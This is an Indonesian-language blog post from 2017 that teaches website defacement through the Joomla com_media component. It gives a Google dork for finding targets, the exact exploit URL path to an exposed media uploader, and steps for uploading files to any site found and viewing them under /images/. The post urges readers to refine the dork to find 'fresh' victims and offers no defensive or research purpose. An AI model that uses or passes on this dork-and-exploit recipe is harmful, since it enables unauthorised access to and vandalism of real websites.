Rabu, 19 April 2017
kali ini gua mau share Deface Menggunakan Com_Media
langsung saja
Dork : inurl:com_media site:com
Exploit: /index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=
Pertama sobat cari dah targetnya dulu di google dengan memanfaatkan dork diatas, dan kalo bisa dork tersebut dikembangkan lagi yah, biar bisa nemu target yang fresh and Verawan.
Lalu pilih web target anda.
Nah, sekarang kita tambahin aja exploitnya, jadinya begini:
target.co.li/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=
maka akan terlihat seperti gambar berikut:
Selanjutnya sobat tinggal upload file yang sobat inginkan di bagian uploader..
Note: file yang bisa diupload berextensi .txt .jpg .gif .png. Untuk html dan php tidak bisa.
Lalu Klik tombol yang berfungsi utk Upload file deh
Nah, untuk melihat hasil file yang sudah kita upload di sini: target.co.li/images/filemu
sumber : TkjCyberArt
